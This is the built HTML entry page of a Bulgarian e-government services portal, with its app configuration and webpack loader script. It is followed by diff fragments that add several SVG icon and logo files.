<!doctype html><html lang="bg"><head><base href="/"/><meta charset="utf-8"/><link rel="icon" href="./favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="description" content="Портал за електронни административни услуги"/><link rel="manifest" href="./manifest.json"/><title>Портал за електронни административни услуги</title><link href="./static/css/8.030ce7f4.chunk.css" rel="stylesheet"><link href="./static/css/main.530438f8.chunk.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><script>var applicationConfig={"baseUrlName":"/","clientLanguage":"bg","version":"1.0.4.19","docSaveIntervalInMs":30000,"userInactivityTimeout":1200000,"acceptedFileExt":".docx, .doc, .rtf, .txt, .pdf, .jpg, .jpeg, .png, .gif, .tiff, .p7s, .sxw, .xls, .xlsx","maxRequestLengthInKB":10240,"defaultPageSize":10,"allowTestSign":false,"commonCookieDomain":"e-uslugi.mvr.bg","possibleKATObligationsFishSeries":["А","Е","K","В","С","М","Р","Г","Н","Т","Х","GT","АД","СС","ТП","Б"],"webHelpUrl":"https://e-uslugi.mvr.bg/help/index.html","webHelpConfig":"[{\r\n \u0022pattern\u0022: \u0022/services/applicationProcesses/([0-9]\u002B)\u0022,\r\n \u0022key\u0022: \u0022applicationprocesses\u0022\r\n }, {\r\n \u0022pattern\u0022: \u0022/Account/Login(.*)\u0022,\r\n \u0022key\u0022: \u0022login\u0022\r\n }, {\r\n \u0022pattern\u0022: \u0022/services/kat-obligations\u0022, \r\n\t\t\u0022key\u0022: \u0022applicationProcesses_100001\u0022\r\n }\r\n]","idsrvURL":"https://login-e-uslugi.mvr.bg","doubleLabelingStartDate":"2025-09-01T00:00:00.000Z","doubleLabelingEndDate":"2026-08-09T00:00:00.000Z","dateEurOfficial":"2026-01-01T00:00:00.000Z","officialExchangeRate":1.95583}</script><div id="react-app" class="layout-wrapper"></div><script>!function(e){function t(t){for(var n,a,c=t[0],i=t[1],f=t[2],l=0,p=[];l<c.length;l++)a=c[l],Object.prototype.hasOwnProperty.call(o,a)&&o[a]&&p.push(o[a][0]),o[a]=0;for(n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n]);for(s&&s(t);p.length;)p.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,c=1;c<r.length;c++){var i=r[c];0!==o[i]&&(n=!1)}n&&(u.splice(t--,1),e=a(a.s=r[0]))}return e}var n={},o={7:0},u=[];function a(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,a),r.l=!0,r.exports}a.e=function(e){var t=[],r=o[e];if(0!==r)if(r)t.push(r[2]);else{var n=new Promise((function(t,n){r=o[e]=[t,n]}));t.push(r[2]=n);var u,c=document.createElement("script");c.charset="utf-8",c.timeout=120,a.nc&&c.setAttribute("nonce",a.nc),c.src=function(e){return a.p+"static/js/"+({0:"eau-documents-bds",1:"eau-documents-PBZN",2:"eau-documents-cod",3:"eau-documents-kat",4:"eau-documents-kos",5:"eau-documents-migr"}[e]||e)+"."+{0:"05af5c17",1:"a6e141f3",2:"552fb395",3:"f57f366a",4:"c8a9ac18",5:"04450fe2",9:"6f2dc23f"}[e]+".chunk.js"}(e);var i=new Error;u=function(t){c.onerror=c.onload=null,clearTimeout(f);var r=o[e];if(0!==r){if(r){var n=t&&("load"===t.type?"missing":t.type),u=t&&t.target&&t.target.src;i.message="Loading chunk "+e+" failed.\n("+n+": "+u+")",i.name="ChunkLoadError",i.type=n,i.request=u,r[1](i)}o[e]=void 0}};var f=setTimeout((function(){u({type:"timeout",target:c})}),12e4);c.onerror=c.onload=u,document.head.appendChild(c)}return Promise.all(t)},a.m=e,a.c=n,a.d=function(e,t,r){a.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},a.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.t=function(e,t){if(1&t&&(e=a(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(a.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)a.d(r,n,function(t){return e[t]}.bind(null,n));return r},a.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return a.d(t,"a",t),t},a.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},a.p="./",a.oe=function(e){throw console.error(e),e};var c=this["webpackJsonpclient-app"]=this["webpackJsonpclient-app"]||[],i=c.push.bind(c);c.push=t,c=c.slice();for(var f=0;f<c.length;f++)t(c[f]);var s=i;r()}([])</script><script src="./static/js/8.91f599bd.chunk.js"></script><script src="./static/js/main.eb4fc6c6.chunk.js"></script></body></html>
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
|
||||||
|
<path fill="#FFFFFF" d="M364.14,374.524c-8.317-2.971-17.478,1.372-20.443,9.696C323.271,441.51,268.739,480,208,480
|
||||||
|
c-79.401,0-144-64.598-144-143.999c0-54.176,30.025-103.28,78.358-128.149c7.856-4.043,10.95-13.69,6.907-21.547
|
||||||
|
c-4.042-7.857-13.689-10.95-21.548-6.907c-28.334,14.58-52.241,36.598-69.137,63.674C41.191,270.941,32,303.075,32,336.002
|
||||||
|
c0,97.046,78.953,175.999,176,175.999c74.235,0,140.881-47.031,165.838-117.032C376.805,386.645,372.464,377.491,364.14,374.524z"
|
||||||
|
/>
|
||||||
|
<circle fill="#FFFFFF" cx="210.125" cy="48" r="48"/>
|
||||||
|
<path fill="#FFFFFF" d="M479.382,442.167l-71.614-150.83c-3.719-8.442-12.153-14.341-21.972-14.341H277.473l-9.822-64.079h93.474
|
||||||
|
c8.837,0,16-7.164,16-16s-7.163-16-16-16h-98.379l-4.371-28.516c-2.678-17.469-19.007-29.462-36.479-26.782
|
||||||
|
c-17.469,2.678-29.459,19.01-26.782,36.479c0,0,22.511,140.61,23.147,143.625c2.195,10.99,11.896,19.272,23.531,19.272
|
||||||
|
l146.856-0.005l61.796,130.842c2.731,5.783,8.481,9.171,14.479,9.171c2.289,0,4.614-0.494,6.821-1.536
|
||||||
|
C479.736,459.693,483.154,450.157,479.382,442.167z"/>
|
||||||
|
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 1.1 KiB |
@@ -0,0 +1,13 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<path fill="#627A96" d="M255,8C118.043,8,7,119.013,7,256c0,136.957,111.043,248,248,248s248-111.043,248-248
|
||||||
|
C503,119.013,391.957,8,255,8z M255,472c-119.103,0-216-96.897-216-216c0-57.702,22.47-111.947,63.269-152.742
|
||||||
|
C143.063,62.465,197.305,40,255,40c57.695,0,111.938,22.465,152.732,63.258C448.531,144.053,471,198.298,471,256
|
||||||
|
C471,375.103,374.102,472,255,472z"/>
|
||||||
|
<path fill="#627A96" d="M255,384c-8.836,0-16-7.162-16-16V240.438c0-8.836,7.164-16,16-16c8.837,0,16,7.164,16,16V368
|
||||||
|
C271,376.838,263.837,384,255,384z"/>
|
||||||
|
<path fill="#627A96" d="M295.125,384h-80.25c-8.837,0-16-7.162-16-16c0-8.836,7.163-16,16-16h80.25c8.838,0,16,7.164,16,16
|
||||||
|
C311.125,376.838,303.963,384,295.125,384z"/>
|
||||||
|
<circle fill="#627A96" cx="255" cy="158.437" r="34"/>
|
||||||
|
<path fill="#627A96" d="M255,256h-35.751c-8.836,0-16-7.164-16-16s7.164-16,16-16H255c8.837,0,16,7.164,16,16S263.837,256,255,256z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 939 B |
|
After Width: | Height: | Size: 64 KiB |
@@ -0,0 +1,52 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="75px" height="78.516px" viewBox="0 0 75 78.516">
|
||||||
|
<path fill="#1A1A1A" d="M0.22,58.944V53.66h3.819v0.623H0.921v1.622H3.84v0.615H0.921v1.802h3.243v0.621H0.22L0.22,58.944z"/>
|
||||||
|
<path fill="#1A1A1A" d="M5.096,58.944V53.66h1.988c0.397,0,0.722,0.058,0.962,0.163c0.251,0.104,0.439,0.271,0.576,0.489c0.136,0.227,0.209,0.456,0.209,0.696c0,0.23-0.063,0.439-0.188,0.639c-0.115,0.199-0.304,0.361-0.555,0.486c0.324,0.089,0.565,0.251,0.743,0.476c0.167,0.227,0.251,0.492,0.251,0.803c0,0.246-0.053,0.476-0.157,0.688c-0.104,0.209-0.229,0.376-0.387,0.492c-0.146,0.115-0.346,0.199-0.575,0.261c-0.23,0.06-0.513,0.089-0.848,0.089L5.096,58.944L5.096,58.944z M5.797,55.884h1.141c0.313,0,0.533-0.026,0.669-0.063c0.178-0.052,0.314-0.141,0.397-0.267c0.095-0.12,0.137-0.271,0.137-0.46c0-0.172-0.042-0.33-0.126-0.46c-0.084-0.136-0.198-0.225-0.355-0.277c-0.157-0.047-0.429-0.071-0.806-0.071H5.797V55.884z M5.797,58.323h1.318c0.22,0,0.376-0.013,0.471-0.026c0.167-0.031,0.293-0.078,0.408-0.146c0.104-0.066,0.198-0.161,0.262-0.293c0.073-0.125,0.104-0.275,0.104-0.442c0-0.199-0.053-0.366-0.146-0.515c-0.104-0.146-0.241-0.245-0.419-0.309c-0.178-0.057-0.439-0.083-0.774-0.083H5.797V58.323z"/>
|
||||||
|
<path fill="#1A1A1A" d="M10.045,58.944V53.66h1.998c0.346,0,0.617,0.016,0.806,0.053c0.251,0.042,0.471,0.125,0.648,0.246c0.179,0.121,0.314,0.293,0.419,0.513c0.104,0.214,0.167,0.455,0.167,0.717c0,0.45-0.146,0.832-0.429,1.142c-0.293,0.313-0.806,0.466-1.549,0.466h-1.359v2.148L10.045,58.944L10.045,58.944z M10.746,56.171h1.37c0.45,0,0.764-0.083,0.963-0.251c0.188-0.167,0.282-0.403,0.282-0.711c0-0.22-0.063-0.408-0.167-0.565c-0.115-0.157-0.262-0.261-0.439-0.313c-0.126-0.031-0.335-0.047-0.659-0.047h-1.35V56.171z"/>
|
||||||
|
<path fill="#1A1A1A" d="M14.596,56.37c0-0.879,0.23-1.564,0.701-2.063c0.471-0.492,1.078-0.743,1.821-0.743c0.491,0,0.931,0.12,1.318,0.352c0.397,0.234,0.69,0.56,0.899,0.973c0.209,0.418,0.313,0.889,0.313,1.418c0,0.539-0.114,1.017-0.324,1.438c-0.22,0.424-0.522,0.741-0.921,0.962c-0.397,0.215-0.826,0.325-1.286,0.325c-0.492,0-0.942-0.12-1.329-0.361c-0.397-0.24-0.69-0.57-0.89-0.983C14.69,57.275,14.596,56.836,14.596,56.37z M15.318,56.381c0,0.638,0.167,1.141,0.513,1.507c0.345,0.366,0.764,0.549,1.287,0.549c0.522,0,0.952-0.188,1.297-0.555c0.335-0.372,0.513-0.896,0.513-1.575c0-0.429-0.073-0.806-0.22-1.125c-0.146-0.324-0.355-0.57-0.638-0.748c-0.283-0.178-0.597-0.267-0.942-0.267c-0.491,0-0.921,0.173-1.276,0.513C15.496,55.021,15.318,55.585,15.318,56.381z"/>
|
||||||
|
<path fill="#1A1A1A" d="M20.55,53.66h4.153v5.282h-0.7v-4.66h-2.752v4.66H20.55V53.66z"/>
|
||||||
|
<path fill="#1A1A1A" d="M25.865,58.944V53.66h3.818v0.623h-3.117v1.622h2.919v0.615h-2.919v1.802h3.232v0.621H25.865L25.865,58.944z"/>
|
||||||
|
<path fill="#1A1A1A" d="M30.782,53.66h0.628v4.186l2.814-4.186h0.701v5.282h-0.638V54.77l-2.805,4.175h-0.701V53.66H30.782zM33.409,52.406h0.439c-0.031,0.298-0.146,0.526-0.324,0.688c-0.188,0.162-0.43,0.241-0.732,0.241c-0.314,0-0.555-0.079-0.743-0.235c-0.178-0.162-0.293-0.393-0.324-0.694h0.439c0.031,0.16,0.104,0.281,0.198,0.364c0.104,0.078,0.23,0.12,0.397,0.12c0.199,0,0.346-0.042,0.45-0.115C33.305,52.698,33.378,52.573,33.409,52.406z"/>
|
||||||
|
<path fill="#1A1A1A" d="M39.844,57.092l0.69,0.173c-0.146,0.575-0.408,1.017-0.784,1.313c-0.389,0.303-0.848,0.455-1.402,0.455c-0.563,0-1.025-0.115-1.381-0.353c-0.356-0.229-0.628-0.563-0.816-1.004c-0.188-0.438-0.282-0.911-0.282-1.418c0-0.549,0.104-1.025,0.313-1.438c0.209-0.407,0.513-0.718,0.899-0.932c0.388-0.214,0.816-0.318,1.276-0.318c0.533,0,0.974,0.137,1.34,0.402c0.354,0.272,0.604,0.649,0.753,1.135l-0.69,0.162c-0.125-0.382-0.303-0.665-0.533-0.837c-0.229-0.178-0.521-0.267-0.879-0.267c-0.408,0-0.743,0.1-1.015,0.293c-0.272,0.192-0.472,0.456-0.576,0.785c-0.115,0.33-0.167,0.665-0.167,1.015c0,0.45,0.063,0.837,0.198,1.172c0.126,0.34,0.335,0.586,0.607,0.753c0.282,0.167,0.575,0.251,0.899,0.251c0.388,0,0.724-0.114,0.994-0.34C39.563,57.872,39.738,57.537,39.844,57.092z"/>
|
||||||
|
<path fill="#1A1A1A" d="M41.413,53.66h0.7v2.313c0.313,0,0.533-0.058,0.671-0.183c0.125-0.125,0.293-0.424,0.491-0.896c0.146-0.345,0.271-0.586,0.365-0.73c0.096-0.144,0.229-0.264,0.407-0.361c0.168-0.094,0.366-0.141,0.575-0.141c0.271,0,0.408,0,0.432,0.005v0.605c-0.021,0-0.074-0.005-0.146-0.005c-0.073-0.005-0.115-0.005-0.137-0.005c-0.222,0-0.389,0.052-0.502,0.162c-0.104,0.11-0.23,0.34-0.377,0.691c-0.18,0.448-0.324,0.73-0.449,0.847c-0.115,0.115-0.272,0.209-0.439,0.278c0.346,0.094,0.68,0.406,1.016,0.945l1.088,1.758h-0.869L43.35,57.51c-0.24-0.396-0.438-0.67-0.605-0.816c-0.168-0.149-0.377-0.225-0.628-0.225v2.475h-0.701L41.413,53.66L41.413,53.66z"/>
|
||||||
|
<path fill="#1A1A1A" d="M45.714,53.66h0.628v4.186l2.814-4.186h0.701v5.282h-0.641V54.77l-2.813,4.175h-0.69V53.66z"/>
|
||||||
|
<path fill="#1A1A1A" d="M56.814,57.092l0.701,0.173c-0.146,0.575-0.408,1.017-0.795,1.313c-0.379,0.303-0.839,0.455-1.394,0.455c-0.563,0-1.036-0.115-1.394-0.353c-0.354-0.229-0.627-0.563-0.806-1.004c-0.188-0.438-0.282-0.911-0.282-1.418c0-0.549,0.104-1.025,0.313-1.438c0.21-0.407,0.513-0.718,0.899-0.932s0.814-0.318,1.275-0.318c0.533,0,0.975,0.137,1.339,0.402c0.356,0.272,0.606,0.649,0.743,1.135l-0.682,0.162c-0.125-0.382-0.303-0.665-0.532-0.837c-0.24-0.178-0.522-0.267-0.88-0.267c-0.407,0-0.752,0.1-1.024,0.293c-0.271,0.192-0.46,0.456-0.563,0.785c-0.114,0.33-0.168,0.665-0.168,1.015c0,0.45,0.063,0.837,0.188,1.172c0.137,0.34,0.335,0.586,0.617,0.753c0.271,0.167,0.574,0.251,0.898,0.251c0.389,0,0.724-0.114,0.994-0.34C56.543,57.872,56.721,57.537,56.814,57.092z"/>
|
||||||
|
<path fill="#1A1A1A" d="M57.559,53.66h2.301v2.255h1.269c0.826,0,1.37,0.157,1.632,0.46c0.252,0.309,0.389,0.652,0.389,1.041c0,0.438-0.146,0.806-0.449,1.094c-0.305,0.288-0.807,0.434-1.527,0.434h-2.009v-4.66h-1.603V53.66H57.559z M59.859,58.348h1.277c0.438,0,0.764-0.073,0.961-0.22c0.188-0.152,0.293-0.382,0.293-0.706c0-0.22-0.063-0.403-0.179-0.555c-0.114-0.146-0.271-0.246-0.46-0.288s-0.514-0.063-0.963-0.063h-0.934v1.832H59.859z"/>
|
||||||
|
<path fill="#1A1A1A" d="M63.982,53.66h0.701v2.37h1.014c0.054-0.748,0.305-1.347,0.744-1.79c0.438-0.444,0.981-0.671,1.643-0.671c0.689,0,1.256,0.241,1.716,0.729c0.45,0.486,0.671,1.146,0.671,1.972c0,0.868-0.221,1.543-0.671,2.03s-1.036,0.732-1.737,0.732c-0.638,0-1.172-0.209-1.601-0.635c-0.418-0.424-0.67-1.005-0.743-1.748h-1.035v2.292h-0.701V53.66L63.982,53.66z M66.398,56.328c0,0.665,0.158,1.183,0.472,1.554c0.304,0.366,0.7,0.555,1.203,0.555c0.513,0,0.921-0.188,1.225-0.555c0.304-0.372,0.46-0.905,0.46-1.596c0-0.659-0.146-1.179-0.449-1.561c-0.304-0.377-0.711-0.563-1.213-0.563c-0.522,0-0.943,0.191-1.236,0.574C66.557,55.12,66.398,55.648,66.398,56.328z"/>
|
||||||
|
<path fill="#1A1A1A" d="M71.129,57.453l0.669-0.173c0.054,0.256,0.188,0.513,0.397,0.769c0.229,0.256,0.514,0.388,0.88,0.388s0.659-0.095,0.879-0.288c0.209-0.188,0.313-0.418,0.313-0.686c0-0.293-0.104-0.523-0.336-0.696c-0.229-0.172-0.533-0.256-0.92-0.256h-0.337v-0.604c0.325,0,0.565-0.021,0.732-0.06c0.179-0.037,0.323-0.131,0.461-0.288c0.125-0.149,0.188-0.324,0.188-0.518c0-0.23-0.084-0.431-0.263-0.604c-0.178-0.173-0.429-0.256-0.731-0.256c-0.263,0-0.492,0.068-0.682,0.199c-0.188,0.136-0.313,0.313-0.387,0.534c-0.074,0.22-0.115,0.382-0.115,0.492l-0.67-0.152c0.168-1.125,0.785-1.687,1.863-1.687c0.513,0,0.92,0.146,1.224,0.431c0.306,0.288,0.461,0.623,0.461,1.009c0,0.492-0.229,0.874-0.7,1.146c0.271,0.072,0.49,0.226,0.68,0.454C74.916,56.841,75,57.113,75,57.432c0,0.456-0.167,0.837-0.523,1.143c-0.354,0.309-0.813,0.46-1.399,0.46C72.081,59.033,71.432,58.505,71.129,57.453z"/>
|
||||||
|
<path fill="#1A1A1A" d="M0.22,68.785v-5.279h3.819v0.623H0.921v1.617H3.84v0.615H0.921v1.802h3.243v0.623L0.22,68.785L0.22,68.785z"/>
|
||||||
|
<path fill="#1A1A1A" d="M5.096,68.785v-5.279h1.988c0.397,0,0.722,0.053,0.962,0.157c0.251,0.108,0.439,0.271,0.576,0.497c0.136,0.22,0.209,0.448,0.209,0.694c0,0.227-0.063,0.439-0.188,0.64c-0.115,0.197-0.304,0.354-0.555,0.479c0.324,0.094,0.565,0.251,0.743,0.481c0.167,0.225,0.251,0.49,0.251,0.795c0,0.251-0.053,0.479-0.157,0.688c-0.104,0.215-0.229,0.377-0.387,0.492c-0.146,0.115-0.346,0.204-0.575,0.261c-0.23,0.06-0.513,0.091-0.848,0.091H5.096V68.785zM5.797,65.725h1.141c0.313,0,0.533-0.021,0.669-0.063C7.785,65.61,7.921,65.52,8.004,65.4c0.095-0.125,0.137-0.275,0.137-0.46c0-0.178-0.042-0.33-0.126-0.465c-0.084-0.131-0.198-0.225-0.355-0.271c-0.157-0.054-0.429-0.073-0.806-0.073H5.797V65.725zM5.797,68.162h1.318c0.22,0,0.376-0.012,0.471-0.026c0.167-0.026,0.293-0.079,0.408-0.146c0.104-0.063,0.198-0.163,0.262-0.293C8.329,67.57,8.36,67.42,8.36,67.252c0-0.194-0.053-0.366-0.146-0.513c-0.104-0.143-0.241-0.246-0.419-0.306c-0.178-0.057-0.439-0.088-0.774-0.088H5.797V68.162z"/>
|
||||||
|
<path fill="#1A1A1A" d="M10.045,68.785v-5.279h1.998c0.346,0,0.617,0.016,0.806,0.047c0.251,0.042,0.471,0.125,0.648,0.246c0.179,0.126,0.314,0.293,0.419,0.513c0.105,0.222,0.167,0.461,0.167,0.724c0,0.443-0.146,0.825-0.429,1.135c-0.293,0.313-0.806,0.471-1.549,0.471h-1.359v2.146h-0.701V68.785z M10.746,66.012h1.37c0.45,0,0.764-0.084,0.963-0.251c0.188-0.168,0.282-0.403,0.282-0.707c0-0.225-0.063-0.414-0.167-0.57c-0.115-0.155-0.262-0.261-0.439-0.309c-0.126-0.031-0.335-0.047-0.659-0.047h-1.35V66.012z"/>
|
||||||
|
<path fill="#1A1A1A" d="M14.596,66.211c0-0.874,0.23-1.561,0.701-2.056c0.471-0.497,1.078-0.743,1.821-0.743c0.491,0,0.931,0.113,1.318,0.345c0.397,0.235,0.69,0.56,0.899,0.979c0.209,0.413,0.313,0.891,0.313,1.417c0,0.534-0.114,1.017-0.324,1.436c-0.22,0.423-0.522,0.743-0.921,0.962c-0.397,0.22-0.826,0.325-1.286,0.325c-0.492,0-0.942-0.121-1.329-0.361c-0.397-0.241-0.69-0.563-0.89-0.982C14.69,67.116,14.596,66.677,14.596,66.211z M15.318,66.221c0,0.639,0.167,1.141,0.513,1.507c0.345,0.366,0.764,0.549,1.287,0.549c0.522,0,0.952-0.183,1.297-0.555c0.335-0.372,0.513-0.895,0.513-1.575c0-0.429-0.073-0.806-0.22-1.125c-0.146-0.317-0.355-0.568-0.638-0.749c-0.283-0.178-0.597-0.261-0.942-0.261c-0.491,0-0.921,0.167-1.276,0.507S15.318,65.426,15.318,66.221z"/>
|
||||||
|
<path fill="#1A1A1A" d="M20.55,63.506h4.153v5.279h-0.7v-4.656h-2.752v4.656H20.55V63.506z"/>
|
||||||
|
<path fill="#1A1A1A" d="M25.865,68.785v-5.279h3.818v0.623h-3.117v1.617h2.919v0.615h-2.919v1.802h3.232v0.623L25.865,68.785L25.865,68.785z"/>
|
||||||
|
<path fill="#1A1A1A" d="M30.782,63.506h0.628v4.18l2.814-4.18h0.701v5.279h-0.638v-4.169l-2.805,4.169h-0.701v-5.279H30.782zM33.409,62.246h0.439c-0.031,0.303-0.146,0.531-0.324,0.688c-0.188,0.162-0.43,0.246-0.732,0.246c-0.314,0-0.555-0.083-0.743-0.24c-0.178-0.163-0.293-0.393-0.324-0.694h0.439c0.031,0.162,0.104,0.288,0.198,0.364c0.104,0.078,0.23,0.12,0.397,0.12c0.199,0,0.346-0.037,0.45-0.113C33.305,62.539,33.378,62.413,33.409,62.246z"/>
|
||||||
|
<path fill="#1A1A1A" d="M39.844,66.933l0.69,0.178c-0.146,0.575-0.408,1.011-0.784,1.313c-0.389,0.298-0.848,0.45-1.402,0.45c-0.563,0-1.025-0.115-1.381-0.348c-0.356-0.229-0.628-0.568-0.816-1.009c-0.188-0.438-0.282-0.911-0.282-1.413c0-0.549,0.104-1.028,0.313-1.438c0.209-0.413,0.513-0.724,0.899-0.938c0.388-0.209,0.816-0.317,1.276-0.317c0.533,0,0.974,0.136,1.34,0.401c0.354,0.272,0.604,0.648,0.753,1.137l-0.69,0.16c-0.125-0.382-0.303-0.664-0.533-0.837c-0.229-0.178-0.521-0.261-0.879-0.261c-0.408,0-0.743,0.094-1.015,0.288c-0.272,0.199-0.472,0.46-0.576,0.785c-0.115,0.33-0.167,0.665-0.167,1.015c0,0.45,0.063,0.842,0.198,1.177c0.126,0.336,0.335,0.588,0.607,0.756c0.282,0.16,0.575,0.244,0.899,0.244c0.388,0,0.724-0.113,0.994-0.34C39.563,67.712,39.738,67.377,39.844,66.933z"/>
|
||||||
|
<path fill="#1A1A1A" d="M41.413,63.506h0.7v2.313c0.313,0,0.533-0.063,0.671-0.188c0.125-0.12,0.293-0.418,0.491-0.889c0.146-0.347,0.271-0.593,0.365-0.732c0.096-0.146,0.229-0.267,0.407-0.361c0.168-0.1,0.366-0.146,0.575-0.146c0.271,0,0.408,0,0.432,0.005v0.607c-0.021,0-0.074,0-0.146-0.007c-0.073,0-0.115,0-0.137,0c-0.222,0-0.389,0.054-0.502,0.157c-0.104,0.11-0.23,0.34-0.377,0.696c-0.18,0.445-0.324,0.728-0.449,0.842c-0.115,0.115-0.272,0.209-0.439,0.283c0.346,0.089,0.68,0.408,1.016,0.939l1.088,1.76h-0.869l-0.889-1.436c-0.24-0.396-0.438-0.669-0.605-0.814c-0.168-0.146-0.377-0.222-0.628-0.222v2.471h-0.701L41.413,63.506L41.413,63.506z"/>
|
||||||
|
<path fill="#1A1A1A" d="M45.714,63.506h0.628v4.18l2.814-4.18h0.701v5.279h-0.641v-4.169l-2.813,4.169h-0.69V63.506z"/>
|
||||||
|
<path fill="#1A1A1A" d="M3.976,75.193l0.701,0.18c-0.146,0.576-0.408,1.01-0.795,1.313c-0.377,0.304-0.848,0.45-1.392,0.45c-0.575,0-1.036-0.115-1.392-0.345c-0.356-0.23-0.628-0.565-0.816-1.004C0.094,75.346,0,74.869,0,74.367c0-0.551,0.104-1.031,0.324-1.439c0.209-0.408,0.502-0.722,0.89-0.931c0.387-0.215,0.816-0.319,1.287-0.319c0.522,0,0.973,0.131,1.328,0.403c0.356,0.267,0.618,0.644,0.754,1.135l-0.69,0.163c-0.115-0.388-0.293-0.665-0.534-0.842c-0.229-0.173-0.522-0.264-0.879-0.264c-0.397,0-0.742,0.096-1.015,0.293c-0.272,0.193-0.46,0.455-0.575,0.779c-0.104,0.33-0.168,0.669-0.168,1.015c0,0.45,0.073,0.844,0.199,1.179c0.136,0.334,0.335,0.586,0.606,0.753c0.283,0.163,0.576,0.246,0.9,0.246c0.397,0,0.722-0.115,0.994-0.34C3.693,75.973,3.882,75.638,3.976,75.193z"/>
|
||||||
|
<path fill="#1A1A1A" d="M5.158,74.477c0-0.879,0.241-1.563,0.712-2.062c0.471-0.498,1.077-0.743,1.82-0.743c0.481,0,0.921,0.115,1.318,0.351c0.387,0.23,0.69,0.556,0.89,0.975c0.209,0.419,0.313,0.89,0.313,1.418c0,0.534-0.115,1.015-0.324,1.438c-0.22,0.419-0.523,0.743-0.921,0.958c-0.397,0.222-0.826,0.324-1.287,0.324c-0.491,0-0.941-0.12-1.328-0.354c-0.388-0.24-0.691-0.569-0.89-0.982C5.263,75.376,5.158,74.937,5.158,74.477z M5.88,74.487c0,0.635,0.168,1.137,0.513,1.501c0.346,0.366,0.774,0.551,1.287,0.551c0.523,0,0.963-0.185,1.298-0.557c0.345-0.371,0.513-0.895,0.513-1.573c0-0.431-0.073-0.808-0.22-1.125c-0.146-0.319-0.355-0.57-0.639-0.743c-0.282-0.18-0.596-0.269-0.941-0.269c-0.492,0-0.921,0.167-1.276,0.507C6.06,73.119,5.88,73.692,5.88,74.487z"/>
|
||||||
|
<path fill="#1A1A1A" d="M11.112,71.767h0.7v4.656h2.752v-4.656h0.701v4.656h0.481v2.093H15.13v-1.47h-4.018V71.767z"/>
|
||||||
|
<path fill="#1A1A1A" d="M16.584,71.767h0.628v4.182l2.814-4.182h0.701v5.278h-0.639v-4.169l-2.814,4.169h-0.69V71.767z"/>
|
||||||
|
<path fill="#1A1A1A" d="M21.293,77.045l2.029-5.278h0.754l2.155,5.278h-0.796l-0.617-1.596h-2.207l-0.576,1.596H21.293zM22.82,74.88h1.789l-0.555-1.465c-0.167-0.445-0.293-0.813-0.377-1.096c-0.063,0.342-0.156,0.677-0.282,1.012L22.82,74.88z"/>
|
||||||
|
<path fill="#1A1A1A" d="M27.34,71.767h3.307v5.278h-0.701V72.39h-1.904v2.72c0,0.551-0.031,0.957-0.083,1.215c-0.053,0.256-0.157,0.454-0.325,0.602c-0.167,0.141-0.376,0.209-0.627,0.209c-0.157,0-0.335-0.026-0.555-0.083l0.115-0.623c0.114,0.052,0.22,0.073,0.303,0.073c0.157,0,0.272-0.06,0.356-0.178c0.073-0.12,0.114-0.397,0.114-0.844V71.767z"/>
|
||||||
|
<path fill="#1A1A1A" d="M31.808,77.045v-5.278h3.819v0.623h-3.118v1.616h2.92v0.618h-2.92v1.799h3.244v0.623L31.808,77.045L31.808,77.045z"/>
|
||||||
|
<path fill="#1A1A1A" d="M36.736,77.045v-5.278h0.701v2.166h2.741v-2.166h0.701v5.278h-0.701v-2.49h-2.741v2.49H36.736z"/>
|
||||||
|
<path fill="#1A1A1A" d="M46.007,72.4v-0.675h0.647V72.4c0.681,0.037,1.203,0.235,1.602,0.607c0.389,0.366,0.576,0.826,0.576,1.375c0,0.534-0.188,0.989-0.564,1.366c-0.377,0.372-0.91,0.581-1.61,0.617v0.68h-0.648v-0.68c-0.628-0.026-1.149-0.216-1.56-0.57c-0.42-0.356-0.629-0.827-0.629-1.413c0-0.591,0.209-1.063,0.617-1.412C44.855,72.615,45.379,72.426,46.007,72.4z M46.007,73.001c-0.438,0.021-0.784,0.146-1.057,0.387c-0.272,0.235-0.408,0.565-0.408,0.994c0,0.419,0.136,0.749,0.397,0.989c0.271,0.239,0.617,0.372,1.065,0.388L46.007,73.001L46.007,73.001z M46.654,72.996v2.768c0.461-0.021,0.807-0.151,1.068-0.393c0.262-0.24,0.387-0.57,0.387-0.989c0-0.413-0.125-0.743-0.377-0.983C47.48,73.159,47.115,73.022,46.654,72.996z"/>
|
||||||
|
